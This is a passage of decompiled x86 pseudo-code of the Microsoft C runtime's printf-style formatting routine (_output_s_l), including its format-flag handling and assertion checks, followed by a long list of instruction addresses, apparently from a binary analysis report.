																			__eflags =  *(__ebp - 0x10) & 0x00000080;
																			if(( *(__ebp - 0x10) & 0x00000080) != 0) {
																				__eflags =  *(__ebp - 0x30);
																				if( *(__ebp - 0x30) == 0) {
																					__ecx = __ebp - 0x40;
																					_push(E0041AE00(__ebp - 0x40));
																					__edx =  *(__ebp - 4);
																					_push( *(__ebp - 4));
																					__eax =  *0x440380; // 0xfe6faf80
																					__eax =  *__eax();
																					__esp = __esp + 8;
																				}
																			}
																			__ecx =  *((char*)(__ebp - 0x251));
																			__eflags =  *((char*)(__ebp - 0x251)) - 0x67;
																			if( *((char*)(__ebp - 0x251)) == 0x67) {
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
																				__eflags =  *(__ebp - 0x10) & 0x00000080;
																				if(( *(__ebp - 0x10) & 0x00000080) == 0) {
																					__ecx = __ebp - 0x40;
																					_push(E0041AE00(__ebp - 0x40));
																					__eax =  *(__ebp - 4);
																					_push( *(__ebp - 4));
																					__ecx =  *0x44037c; // 0xfe6d6f80
																					E00424670(__ecx) =  *__eax();
																					__esp = __esp + 8;
																				}
																			}
																			__edx =  *(__ebp - 4);
																			__eax =  *( *(__ebp - 4));
																			__eflags =  *( *(__ebp - 4)) - 0x2d;
																			if( *( *(__ebp - 4)) == 0x2d) {
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
																				__edx =  *(__ebp - 4);
																				__edx =  *(__ebp - 4) + 1;
																				__eflags = __edx;
																				 *(__ebp - 4) = __edx;
																			}
																			__eax =  *(__ebp - 4);
																			 *(__ebp - 0x24) = E0041DDD0( *(__ebp - 4));
																			do {
																				L190:
																				__eflags =  *(_t701 - 0x28);
																				if( *(_t701 - 0x28) != 0) {
																					goto L216;
																				}
																				goto L191;
																			} while ( *(__ebp - 0x324) > 0x37);
																			goto L72;
																		}
																		L127:
																		__ecx =  *((char*)(__ebp - 0x251));
																		__eflags = __ecx - 0x67;
																		if(__ecx != 0x67) {
																			goto L129;
																		}
																		L128:
																		 *(__ebp - 0x30) = 1;
																		goto L131;
																	}
																	L125:
																	 *(__ebp - 0x30) = 6;
																	goto L131;
																case 6:
																	L75:
																	 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000810;
																	__eflags =  *(__ebp - 0x10) & 0x00000810;
																	if(( *(__ebp - 0x10) & 0x00000810) == 0) {
																		__ebp + 0x14 = E00428310(__ebp + 0x14);
																		 *(__ebp - 0x284) = __ax;
																		__cl =  *(__ebp - 0x284);
																		 *(__ebp - 0x248) = __cl;
																		 *(__ebp - 0x24) = 1;
																	} else {
																		 *(__ebp - 0x280) = 0;
																		__edx = __ebp + 0x14;
																		__eax = E00428350(__ebp + 0x14);
																		 *(__ebp - 0x258) = __ax;
																		__eax =  *(__ebp - 0x258) & 0x0000ffff;
																		__ecx = __ebp - 0x248;
																		__edx = __ebp - 0x24;
																		 *(__ebp - 0x280) = E004341E0(__ebp - 0x24, __ebp - 0x248, 0x200,  *(__ebp - 0x258) & 0x0000ffff);
																		__eflags =  *(__ebp - 0x280);
																		if( *(__ebp - 0x280) != 0) {
																			 *(__ebp - 0x28) = 1;
																		}
																	}
																	__edx = __ebp - 0x248;
																	 *(__ebp - 4) = __ebp - 0x248;
																	while(1) {
																		L190:
																		__eflags =  *(_t701 - 0x28);
																		if( *(_t701 - 0x28) != 0) {
																			goto L216;
																		}
																		goto L191;
																	}
																case 7:
																	L144:
																	 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
																	 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
																	 *((intOrPtr*)(__ebp - 8)) = 0xa;
																	L153:
																	__eflags =  *(_t701 - 0x10) & 0x00008000;
																	if(( *(_t701 - 0x10) & 0x00008000) == 0) {
																		_t649 =  *(_t701 - 0x10) & 0x00001000;
																		__eflags = _t649;
																		if(_t649 == 0) {
																			__eflags =  *(_t701 - 0x10) & 0x00000020;
																			if(( *(_t701 - 0x10) & 0x00000020) == 0) {
																				_t651 =  *(_t701 - 0x10) & 0x00000040;
																				__eflags = _t651;
																				if(_t651 == 0) {
																					_t496 = E00428310(_t701 + 0x14);
																					_t703 = _t703 + 4;
																					__eflags = 0;
																					 *(_t701 - 0x2b8) = _t496;
																					 *(_t701 - 0x2b4) = 0;
																				} else {
																					_t580 = E00428310(_t701 + 0x14);
																					_t703 = _t703 + 4;
																					asm("cdq");
																					 *(_t701 - 0x2b8) = _t580;
																					 *(_t701 - 0x2b4) = _t651;
																				}
																			} else {
																				_t698 =  *(_t701 - 0x10) & 0x00000040;
																				__eflags = _t698;
																				if(_t698 == 0) {
																					_t581 = E00428310(_t701 + 0x14);
																					_t703 = _t703 + 4;
																					asm("cdq");
																					 *(_t701 - 0x2b8) = _t581 & 0x0000ffff;
																					 *(_t701 - 0x2b4) = _t698;
																				} else {
																					_t584 = E00428310(_t701 + 0x14);
																					_t703 = _t703 + 4;
																					asm("cdq");
																					 *(_t701 - 0x2b8) = _t584;
																					 *(_t701 - 0x2b4) = _t698;
																				}
																			}
																		} else {
																			_t587 = E00428330(_t701 + 0x14);
																			_t703 = _t703 + 4;
																			 *(_t701 - 0x2b8) = _t587;
																			 *(_t701 - 0x2b4) = _t649;
																		}
																	} else {
																		_t588 = E00428330(_t701 + 0x14);
																		_t703 = _t703 + 4;
																		 *(_t701 - 0x2b8) = _t588;
																		 *(_t701 - 0x2b4) = _t647;
																	}
																	__eflags =  *(_t701 - 0x10) & 0x00000040;
																	if(( *(_t701 - 0x10) & 0x00000040) == 0) {
																		goto L170;
																	}
																case 8:
																	L109:
																	__ecx = __ebp + 0x14;
																	 *(__ebp - 0x298) = E00428310(__ebp + 0x14);
																	__eax = E00433EC0();
																	__eflags = __eax;
																	if(__eax != 0) {
																		L119:
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000020;
																		__eflags =  *(__ebp - 0x10) & 0x00000020;
																		if(( *(__ebp - 0x10) & 0x00000020) == 0) {
																			__edx =  *(__ebp - 0x298);
																			__eax =  *(__ebp - 0x24c);
																			 *( *(__ebp - 0x298)) =  *(__ebp - 0x24c);
																		} else {
																			__eax =  *(__ebp - 0x298);
																			 *( *(__ebp - 0x298)) =  *(__ebp - 0x24c);
																		}
																		 *(__ebp - 0x28) = 1;
																		while(1) {
																			L190:
																			__eflags =  *(_t701 - 0x28);
																			if( *(_t701 - 0x28) != 0) {
																				goto L216;
																			}
																			goto L191;
																		}
																	}
																	L110:
																	__edx = 0;
																	__eflags = 0;
																	if(0 == 0) {
																		 *(__ebp - 0x32c) = 0;
																	} else {
																		 *(__ebp - 0x32c) = 1;
																	}
																	__eax =  *(__ebp - 0x32c);
																	 *(__ebp - 0x29c) =  *(__ebp - 0x32c);
																	__eflags =  *(__ebp - 0x29c);
																	if( *(__ebp - 0x29c) == 0) {
																		_push(L"(\"\'n\' format specifier disabled\", 0)");
																		_push(0);
																		_push(0x695);
																		_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c");
																		_push(2);
																		__eax = L0041E330();
																		__esp = __esp + 0x14;
																		__eflags = __eax - 1;
																		if(__eax == 1) {
																			asm("int3");
																		}
																	}
																	__eflags =  *(__ebp - 0x29c);
																	if( *(__ebp - 0x29c) != 0) {
																		L118:
																		while(1) {
																			L190:
																			__eflags =  *(_t701 - 0x28);
																			if( *(_t701 - 0x28) != 0) {
																				goto L216;
																			}
																			goto L191;
																		}
																	} else {
																		L117:
																		 *((intOrPtr*)(L00422E20(__ecx))) = 0x16;
																		__eax = E00422BB0(__ebx, __ecx, __edi, __esi, L"(\"\'n\' format specifier disabled\", 0)", L"_output_s_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x695, 0);
																		 *(__ebp - 0x2f8) = 0xffffffff;
																		__ecx = __ebp - 0x40;
																		__eax = E0041ADD0(__ecx);
																		__eax =  *(__ebp - 0x2f8);
																		goto L229;
																	}
																case 9:
																	goto L0;
																case 0xa:
																	L146:
																	 *(__ebp - 0x30) = 8;
																	goto L147;
																case 0xb:
																	L90:
																	__eflags =  *(__ebp - 0x30) - 0xffffffff;
																	if( *(__ebp - 0x30) != 0xffffffff) {
																		__edx =  *(__ebp - 0x30);
																		 *(__ebp - 0x328) =  *(__ebp - 0x30);
																	} else {
																		 *(__ebp - 0x328) = 0x7fffffff;
																	}
																	__eax =  *(__ebp - 0x328);
																	 *(__ebp - 0x290) =  *(__ebp - 0x328);
																	__ecx = __ebp + 0x14;
																	 *(__ebp - 4) = E00428310(__ebp + 0x14);
																	 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000810;
																	__eflags =  *(__ebp - 0x10) & 0x00000810;
																	if(( *(__ebp - 0x10) & 0x00000810) == 0) {
																		L101:
																		__eflags =  *(__ebp - 4);
																		if( *(__ebp - 4) == 0) {
																			__edx =  *0x440f80; // 0x404478
																			 *(__ebp - 4) = __edx;
																		}
																		__eax =  *(__ebp - 4);
																		 *(__ebp - 0x28c) =  *(__ebp - 4);
																		while(1) {
																			L104:
																			__ecx =  *(__ebp - 0x290);
																			 *(__ebp - 0x290) =  *(__ebp - 0x290) - 1;
																			 *(__ebp - 0x290) =  *(__ebp - 0x290) - 1;
																			__eflags = __ecx;
																			if(__ecx == 0) {
																				break;
																			}
																			L105:
																			__eax =  *(__ebp - 0x28c);
																			__ecx =  *( *(__ebp - 0x28c));
																			__eflags = __ecx;
																			if(__ecx == 0) {
																				break;
																			}
																			L106:
																			 *(__ebp - 0x28c) =  *(__ebp - 0x28c) + 1;
																			 *(__ebp - 0x28c) =  *(__ebp - 0x28c) + 1;
																		}
																		L107:
																		__eax =  *(__ebp - 0x28c);
																		__eax =  *(__ebp - 0x28c) -  *(__ebp - 4);
																		__eflags = __eax;
																		 *(__ebp - 0x24) = __eax;
																		goto L108;
																	} else {
																		L94:
																		__eflags =  *(__ebp - 4);
																		if( *(__ebp - 4) == 0) {
																			__eax =  *0x440f84; // 0x404468
																			 *(__ebp - 4) = __eax;
																		}
																		 *(__ebp - 0xc) = 1;
																		__ecx =  *(__ebp - 4);
																		 *(__ebp - 0x294) =  *(__ebp - 4);
																		while(1) {
																			L97:
																			__edx =  *(__ebp - 0x290);
																			 *(__ebp - 0x290) =  *(__ebp - 0x290) - 1;
																			 *(__ebp - 0x290) =  *(__ebp - 0x290) - 1;
																			__eflags =  *(__ebp - 0x290);
																			if( *(__ebp - 0x290) == 0) {
																				break;
																			}
																			L98:
																			__ecx =  *(__ebp - 0x294);
																			__edx =  *( *(__ebp - 0x294)) & 0x0000ffff;
																			__eflags =  *( *(__ebp - 0x294)) & 0x0000ffff;
																			if(( *( *(__ebp - 0x294)) & 0x0000ffff) == 0) {
																				break;
																			}
																			L99:
																			 *(__ebp - 0x294) =  *(__ebp - 0x294) + 2;
																			 *(__ebp - 0x294) =  *(__ebp - 0x294) + 2;
																		}
																		L100:
																		 *(__ebp - 0x294) =  *(__ebp - 0x294) -  *(__ebp - 4);
																		__ecx =  *(__ebp - 0x294) -  *(__ebp - 4) >> 1;
																		 *(__ebp - 0x24) = __ecx;
																		L108:
																		while(1) {
																			L190:
																			__eflags =  *(_t701 - 0x28);
																			if( *(_t701 - 0x28) != 0) {
																				goto L216;
																			}
																			goto L191;
																		}
																	}
																case 0xc:
																	L145:
																	 *((intOrPtr*)(__ebp - 8)) = 0xa;
																	while(1) {
																		L153:
																		__eflags =  *(_t701 - 0x10) & 0x00008000;
																		if(( *(_t701 - 0x10) & 0x00008000) == 0) {
																			_t649 =  *(_t701 - 0x10) & 0x00001000;
																			__eflags = _t649;
																			if(_t649 == 0) {
																				__eflags =  *(_t701 - 0x10) & 0x00000020;
																				if(( *(_t701 - 0x10) & 0x00000020) == 0) {
																					_t651 =  *(_t701 - 0x10) & 0x00000040;
																					__eflags = _t651;
																					if(_t651 == 0) {
																						_t496 = E00428310(_t701 + 0x14);
																						_t703 = _t703 + 4;
																						__eflags = 0;
																						 *(_t701 - 0x2b8) = _t496;
																						 *(_t701 - 0x2b4) = 0;
																					} else {
																						_t580 = E00428310(_t701 + 0x14);
																						_t703 = _t703 + 4;
																						asm("cdq");
																						 *(_t701 - 0x2b8) = _t580;
																						 *(_t701 - 0x2b4) = _t651;
																					}
																				} else {
																					_t698 =  *(_t701 - 0x10) & 0x00000040;
																					__eflags = _t698;
																					if(_t698 == 0) {
																						_t581 = E00428310(_t701 + 0x14);
																						_t703 = _t703 + 4;
																						asm("cdq");
																						 *(_t701 - 0x2b8) = _t581 & 0x0000ffff;
																						 *(_t701 - 0x2b4) = _t698;
																					} else {
																						_t584 = E00428310(_t701 + 0x14);
																						_t703 = _t703 + 4;
																						asm("cdq");
																						 *(_t701 - 0x2b8) = _t584;
																						 *(_t701 - 0x2b4) = _t698;
																					}
																				}
																			} else {
																				_t587 = E00428330(_t701 + 0x14);
																				_t703 = _t703 + 4;
																				 *(_t701 - 0x2b8) = _t587;
																				 *(_t701 - 0x2b4) = _t649;
																			}
																		} else {
																			_t588 = E00428330(_t701 + 0x14);
																			_t703 = _t703 + 4;
																			 *(_t701 - 0x2b8) = _t588;
																			 *(_t701 - 0x2b4) = _t647;
																		}
																		__eflags =  *(_t701 - 0x10) & 0x00000040;
																		if(( *(_t701 - 0x10) & 0x00000040) == 0) {
																			goto L170;
																		}
																		goto L166;
																	}
																case 0xd:
																	L148:
																	 *(__ebp - 0x260) = 0x27;
																	L149:
																	 *((intOrPtr*)(__ebp - 8)) = 0x10;
																	 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
																	__eflags =  *(__ebp - 0x10) & 0x00000080;
																	if(( *(__ebp - 0x10) & 0x00000080) != 0) {
																		 *((char*)(__ebp - 0x14)) = 0x30;
																		 *(__ebp - 0x260) =  *(__ebp - 0x260) + 0x51;
																		__eflags =  *(__ebp - 0x260) + 0x51;
																		 *((char*)(__ebp - 0x13)) = __al;
																		 *(__ebp - 0x1c) = 2;
																	}
																	while(1) {
																		L153:
																		__eflags =  *(_t701 - 0x10) & 0x00008000;
																		if(( *(_t701 - 0x10) & 0x00008000) == 0) {
																			_t649 =  *(_t701 - 0x10) & 0x00001000;
																			__eflags = _t649;
																			if(_t649 == 0) {
																				__eflags =  *(_t701 - 0x10) & 0x00000020;
																				if(( *(_t701 - 0x10) & 0x00000020) == 0) {
																					_t651 =  *(_t701 - 0x10) & 0x00000040;
																					__eflags = _t651;
																					if(_t651 == 0) {
																						_t496 = E00428310(_t701 + 0x14);
																						_t703 = _t703 + 4;
																						__eflags = 0;
																						 *(_t701 - 0x2b8) = _t496;
																						 *(_t701 - 0x2b4) = 0;
																					} else {
																						_t580 = E00428310(_t701 + 0x14);
																						_t703 = _t703 + 4;
																						asm("cdq");
																						 *(_t701 - 0x2b8) = _t580;
																						 *(_t701 - 0x2b4) = _t651;
																					}
																				} else {
																					_t698 =  *(_t701 - 0x10) & 0x00000040;
																					__eflags = _t698;
																					if(_t698 == 0) {
																						_t581 = E00428310(_t701 + 0x14);
																						_t703 = _t703 + 4;
																						asm("cdq");
																						 *(_t701 - 0x2b8) = _t581 & 0x0000ffff;
																						 *(_t701 - 0x2b4) = _t698;
																					} else {
																						_t584 = E00428310(_t701 + 0x14);
																						_t703 = _t703 + 4;
																						asm("cdq");
																						 *(_t701 - 0x2b8) = _t584;
																						 *(_t701 - 0x2b4) = _t698;
																					}
																				}
																			} else {
																				_t587 = E00428330(_t701 + 0x14);
																				_t703 = _t703 + 4;
																				 *(_t701 - 0x2b8) = _t587;
																				 *(_t701 - 0x2b4) = _t649;
																			}
																		} else {
																			_t588 = E00428330(_t701 + 0x14);
																			_t703 = _t703 + 4;
																			 *(_t701 - 0x2b8) = _t588;
																			 *(_t701 - 0x2b4) = _t647;
																		}
																		__eflags =  *(_t701 - 0x10) & 0x00000040;
																		if(( *(_t701 - 0x10) & 0x00000040) == 0) {
																			goto L170;
																		}
																		goto L166;
																	}
																case 0xe:
																	while(1) {
																		L190:
																		__eflags =  *(_t701 - 0x28);
																		if( *(_t701 - 0x28) != 0) {
																			goto L216;
																		}
																		goto L191;
																	}
															}
														case 8:
															L30:
															 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000002;
															 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000002;
															goto L33;
														case 9:
															L31:
															 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000080;
															 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000080;
															goto L33;
														case 0xa:
															L29:
															__ecx =  *(__ebp - 0x10);
															__ecx =  *(__ebp - 0x10) | 0x00000001;
															 *(__ebp - 0x10) = __ecx;
															goto L33;
														case 0xb:
															L28:
															 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000004;
															 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000004;
															goto L33;
														case 0xc:
															L32:
															__ecx =  *(__ebp - 0x10);
															__ecx =  *(__ebp - 0x10) | 0x00000008;
															__eflags = __ecx;
															 *(__ebp - 0x10) = __ecx;
															goto L33;
														case 0xd:
															L33:
															goto L218;
													}
												} else {
													if(0 == 0) {
														 *(_t701 - 0x314) = 0;
													} else {
														 *(_t701 - 0x314) = 1;
													}
													_t618 =  *(_t701 - 0x314);
													 *(_t701 - 0x278) =  *(_t701 - 0x314);
													if( *(_t701 - 0x278) == 0) {
														_push(L"(\"Incorrect format specifier\", 0)");
														_push(0);
														_push(0x460);
														_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c");
														_push(2);
														_t545 = L0041E330();
														_t703 = _t703 + 0x14;
														if(_t545 == 1) {
															asm("int3");
														}
													}
													L14:
													if( *(_t701 - 0x278) != 0) {
														goto L16;
													} else {
														 *((intOrPtr*)(L00422E20(_t618))) = 0x16;
														E00422BB0(_t589, _t618, _t699, _t700, L"(\"Incorrect format specifier\", 0)", L"_output_s_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x460, 0);
														 *(_t701 - 0x2f0) = 0xffffffff;
														E0041ADD0(_t701 - 0x40);
														_t518 =  *(_t701 - 0x2f0);
														L229:
														return E0042BC70(_t518, _t589,  *(_t701 - 0x48) ^ _t701, _t665, _t699, _t700);
													}
												}
											}
											L219:
											__eflags =  *(_t701 - 0x25c);
											if( *(_t701 - 0x25c) == 0) {
												L222:
												 *(_t701 - 0x334) = 1;
												L223:
												_t605 =  *(_t701 - 0x334);
												 *(_t701 - 0x2e0) =  *(_t701 - 0x334);
												__eflags =  *(_t701 - 0x2e0);
												if( *(_t701 - 0x2e0) == 0) {
													_push(L"((state == ST_NORMAL) || (state == ST_TYPE))");
													_push(0);
													_push(0x8f5);
													_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c");
													_push(2);
													_t523 = L0041E330();
													_t703 = _t703 + 0x14;
													__eflags = _t523 - 1;
													if(_t523 == 1) {
														asm("int3");
													}
												}
												__eflags =  *(_t701 - 0x2e0);
												if( *(_t701 - 0x2e0) != 0) {
													 *(_t701 - 0x300) =  *(_t701 - 0x24c);
													E0041ADD0(_t701 - 0x40);
													_t518 =  *(_t701 - 0x300);
												} else {
													 *((intOrPtr*)(L00422E20(_t605))) = 0x16;
													E00422BB0(_t589, _t605, _t699, _t700, L"((state == ST_NORMAL) || (state == ST_TYPE))", L"_output_s_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x8f5, 0);
													 *(_t701 - 0x2fc) = 0xffffffff;
													E0041ADD0(_t701 - 0x40);
													_t518 =  *(_t701 - 0x2fc);
												}
												goto L229;
											}
											L220:
											__eflags =  *(_t701 - 0x25c) - 7;
											if( *(_t701 - 0x25c) == 7) {
												goto L222;
											}
											L221:
											 *(_t701 - 0x334) = 0;
											goto L223;
										}
									}
									L187:
									__eflags =  *(_t701 - 0x24);
									if( *(_t701 - 0x24) == 0) {
										L189:
										 *((intOrPtr*)(_t701 - 4)) =  *((intOrPtr*)(_t701 - 4)) - 1;
										 *((char*)( *((intOrPtr*)(_t701 - 4)))) = 0x30;
										_t639 =  *(_t701 - 0x24) + 1;
										__eflags = _t639;
										 *(_t701 - 0x24) = _t639;
										goto L190;
									}
									L188:
									__eflags =  *((char*)( *((intOrPtr*)(_t701 - 4)))) - 0x30;
									if( *((char*)( *((intOrPtr*)(_t701 - 4)))) == 0x30) {
										goto L190;
									}
									goto L189;
								}
								L183:
								asm("cdq");
								_t658 =  *(_t701 - 0x2c0);
								 *(_t701 - 0x2ac) = E00430740(_t658,  *(_t701 - 0x2bc),  *(_t701 - 8), _t657) + 0x30;
								asm("cdq");
								 *(_t701 - 0x2c0) = E004307C0( *(_t701 - 0x2c0),  *(_t701 - 0x2bc),  *(_t701 - 8), _t658);
								 *(_t701 - 0x2bc) = _t658;
								__eflags =  *(_t701 - 0x2ac) - 0x39;
								if( *(_t701 - 0x2ac) > 0x39) {
									_t662 =  *(_t701 - 0x2ac) +  *((intOrPtr*)(_t701 - 0x260));
									__eflags = _t662;
									 *(_t701 - 0x2ac) = _t662;
								}
								 *((char*)( *((intOrPtr*)(_t701 - 4)))) =  *(_t701 - 0x2ac);
								 *((intOrPtr*)(_t701 - 4)) =  *((intOrPtr*)(_t701 - 4)) - 1;
								L181:
								_t657 =  *(_t701 - 0x30) - 1;
								 *(_t701 - 0x30) =  *(_t701 - 0x30) - 1;
								__eflags =  *(_t701 - 0x30);
								if( *(_t701 - 0x30) > 0) {
									goto L183;
								}
								goto L182;
							}
						}
						L168:
						__eflags =  *(_t701 - 0x2b8);
						if( *(_t701 - 0x2b8) >= 0) {
							goto L170;
						}
						goto L169;
						L170:
						 *(_t701 - 0x2c0) =  *(_t701 - 0x2b8);
						 *(_t701 - 0x2bc) =  *(_t701 - 0x2b4);
						goto L171;
					}
				}
			}

0x00434f9c
0x00434f9c
0x00434f9c
0x00434f9c
0x00434f9c
0x00434f9c
0x00434f9c
0x00434fac
0x00434fae
0x00434fb1
0x00434fb1
0x00434fb7
0x00434fb7
0x00434fba
0x00434fba
0x00434fbd
0x00434fc2
0x00434fe4
0x00434fe4
0x00434fea
0x0043500c
0x0043500f
0x00435056
0x00435056
0x00435059
0x0043507a
0x0043507f
0x00435082
0x00435084
0x0043508a
0x0043505b
0x0043505f
0x00435064
0x00435067
0x00435068
0x0043506e
0x0043506e
0x00435011
0x00435014
0x00435014
0x00435017
0x00435039
0x0043503e
0x00435044
0x00435045
0x0043504b
0x00435019
0x0043501d
0x00435022
0x00435026
0x00435027
0x0043502d
0x0043502d
0x00435051
0x00434fec
0x00434ff0
0x00434ff5
0x00434ff8
0x00434ffe
0x00434ffe
0x00434fc4
0x00434fc8
0x00434fcd
0x00434fd0
0x00434fd6
0x00434fd6
0x00435093
0x00435096
0x00000000
0x00000000
0x00435098
0x00435098
0x0043509f
0x00000000
0x00000000
0x004350a1
0x004350a1
0x004350ac
0x004350ba
0x004350bf
0x004350c5
0x004350d3
0x004350f0
0x004350f3
0x004350f8
0x004350fd
0x00435103
0x00435111
0x00435111
0x0043511a
0x0043511a
0x00435103
0x00435120
0x00435124
0x00435135
0x00435138
0x0043513f
0x00435141
0x00435141
0x00435126
0x00435126
0x00435126
0x0043514e
0x00435154
0x00435156
0x00435156
0x00435160
0x00435163
0x00435163
0x00435169
0x0043516c
0x0043516f
0x00435171
0x00000000
0x00000000
0x00435173
0x00435179
0x0043517f
0x004351fc
0x00435202
0x0043520b
0x00435211
0x00435217
0x00435242
0x00435242
0x00435242
0x00435246
0x00000000
0x00000000
0x0043524c
0x0043524f
0x00435252
0x00435257
0x0043525c
0x0043526e
0x00435271
0x00435283
0x00435286
0x00435288
0x0043528c
0x0043528c
0x00435273
0x00435273
0x00435277
0x00435277
0x0043525e
0x0043525e
0x00435262
0x00435262
0x0043525c
0x0043529c
0x004352a5
0x004352a8
0x004352be
0x004352c3
0x004352c3
0x004352d9
0x004352de
0x004352e4
0x004352e7
0x004352ec
0x004352ef
0x00435305
0x0043530a
0x0043530a
0x004352ef
0x0043530d
0x00435311
0x004353e5
0x004353f8
0x004353fd
0x00000000
0x00435317
0x00435317
0x00435317
0x0043531b
0x00000000
0x00000000
0x00435321
0x00435321
0x0043532e
0x00435337
0x0043533d
0x0043533d
0x0043534c
0x00435352
0x00435354
0x00000000
0x00000000
0x0043535a
0x00435363
0x00435382
0x00435387
0x0043538a
0x00435399
0x0043539f
0x004353a6
0x004353b1
0x004353b1
0x00000000
0x004353b1
0x004353a8
0x004353a8
0x004353af
0x004353bd
0x004353d6
0x004353db
0x00000000
0x004353db
0x00000000
0x004353af
0x004353e3
0x00435400
0x00435400
0x00435407
0x0043540c
0x0043540f
0x00435425
0x0043542a
0x0043542a
0x0043540f
0x00435407
0x0043542d
0x0043542d
0x00435431
0x00435439
0x0043543e
0x00435441
0x00435441
0x00435448
0x00435448
0x0043451f
0x00434525
0x00434532
0x00434537
0x00000000
0x0043454a
0x00434554
0x0043457b
0x00434562
0x00434573
0x00434573
0x00434554
0x00434585
0x0043458b
0x00434597
0x0043459a
0x004345a8
0x004345ab
0x004345b8
0x0043465d
0x00434663
0x00434669
0x00434670
0x00000000
0x00000000
0x00434676
0x0043467c
0x00000000
0x00434683
0x00434683
0x0043469b
0x004346a0
0x004346a3
0x004346a5
0x0043475f
0x00434772
0x00434777
0x00000000
0x004346ab
0x004346be
0x004346c3
0x004346c9
0x004346cb
0x004346d4
0x004346d4
0x004346d7
0x004346e3
0x004346e7
0x004346ed
0x004346ef
0x004346f4
0x004346f6
0x004346fb
0x00434700
0x00434702
0x00434707
0x0043470a
0x0043470d
0x0043470f
0x0043470f
0x0043470d
0x00434710
0x00434710
0x00434717
0x00000000
0x00434719
0x0043471e
0x0043473a
0x00434742
0x0043474f
0x00434754
0x00000000
0x00434754
0x00434717
0x00000000
0x0043477f
0x0043477f
0x00434786
0x00434789
0x0043478c
0x0043478f
0x00434792
0x00434795
0x00434798
0x0043479f
0x004347a6
0x00000000
0x00000000
0x004347b2
0x004347b2
0x004347b9
0x004347c5
0x004347c8
0x004347ce
0x004347d5
0x00000000
0x00000000
0x004347d7
0x004347d7
0x004347dd
0x004347dd
0x004347e4
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00434827
0x00434827
0x0043482e
0x00434831
0x0043485b
0x0043485e
0x0043485e
0x00434861
0x00434868
0x00434868
0x0043486c
0x00434833
0x00434833
0x0043483f
0x00434842
0x00434846
0x00434848
0x0043484b
0x0043484b
0x0043484e
0x00434854
0x00434856
0x00434856
0x00434859
0x00000000
0x00000000
0x00434874
0x00434874
0x00000000
0x00000000
0x00434880
0x00434880
0x00434887
0x0043488a
0x004348aa
0x004348ad
0x004348ad
0x004348b7
0x004348b7
0x004348bb
0x0043488c
0x0043488c
0x00434898
0x0043489b
0x0043489f
0x004348a1
0x004348a1
0x004348a8
0x00000000
0x00000000
0x004348c3
0x004348c3
0x004348ca
0x004348d6
0x004348d9
0x004348df
0x004348e6
0x004349f9
0x00000000
0x004349f9
0x004348ec
0x004348ec
0x004348f2
0x004348f2
0x004348f9
0x00000000
0x0043492f
0x0043492f
0x00434932
0x00434935
0x00434938
0x00434960
0x00434960
0x00434963
0x00434966
0x00434969
0x0043498e
0x0043498e
0x00434991
0x00434994
0x00434997
0x004349d0
0x004349e1
0x00000000
0x004349e1
0x00434999
0x00434999
0x0043499c
0x0043499f
0x004349a2
0x00000000
0x00000000
0x004349a4
0x004349a4
0x004349a7
0x004349aa
0x004349ad
0x00000000
0x00000000
0x004349af
0x004349af
0x004349b2
0x004349b5
0x004349b8
0x00000000
0x00000000
0x004349ba
0x004349ba
0x004349bd
0x004349c0
0x004349c3
0x00000000
0x00000000
0x004349c5
0x004349c5
0x004349c8
0x004349cb
0x004349ce
0x004349d2
0x00000000
0x004349d2
0x00000000
0x004349ce
0x0043496b
0x0043496b
0x0043496e
0x00434972
0x00434975
0x00000000
0x00434977
0x0043497a
0x0043497d
0x00434980
0x00434983
0x00434989
0x00000000
0x00434989
0x00434975
0x0043493a
0x0043493a
0x0043493d
0x00434941
0x00434944
0x00000000
0x00434946
0x00434949
0x0043494c
0x0043494f
0x00434952
0x00434958
0x00000000
0x00434958
0x00000000
0x004349e3
0x004349e6
0x004349e9
0x00000000
0x00000000
0x00434900
0x00434900
0x00434903
0x00434906
0x00434909
0x00434921
0x00434924
0x00434924
0x00434927
0x0043490b
0x0043490e
0x00434911
0x00434917
0x0043491c
0x0043491c
0x00000000
0x00000000
0x004349ee
0x004349ee
0x004349f1
0x004349f1
0x004349f6
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x004349fe
0x004349fe
0x00434a05
0x00434a11
0x00434a14
0x00434a1a
0x00434a21
0x00435242
0x00435242
0x00435242
0x00435246
0x00000000
0x00000000
0x00000000
0x00435246
0x00435242
0x00434a27
0x00434a2d
0x00434a2d
0x00434a34
0x00000000
0x00434d8e
0x00434d8e
0x00434d95
0x00434d9c
0x00434d9c
0x00434d9f
0x00000000
0x00000000
0x00434a3b
0x00434a3e
0x00434a3e
0x00434a44
0x00434a46
0x00434a49
0x00434a49
0x00434a4e
0x00434a4e
0x00000000
0x00000000
0x00434b7b
0x00434b7e
0x00434b7e
0x00434b83
0x00434b85
0x00434b88
0x00434b88
0x00434b8e
0x00434b8e
0x00000000
0x00000000
0x00434f5b
0x00434f5b
0x00000000
0x00000000
0x00434ae5
0x00434ae5
0x00434af1
0x00434af7
0x00434afe
0x00434b0c
0x00434b0c
0x00434b12
0x00434b15
0x00434b21
0x00434b76
0x00000000
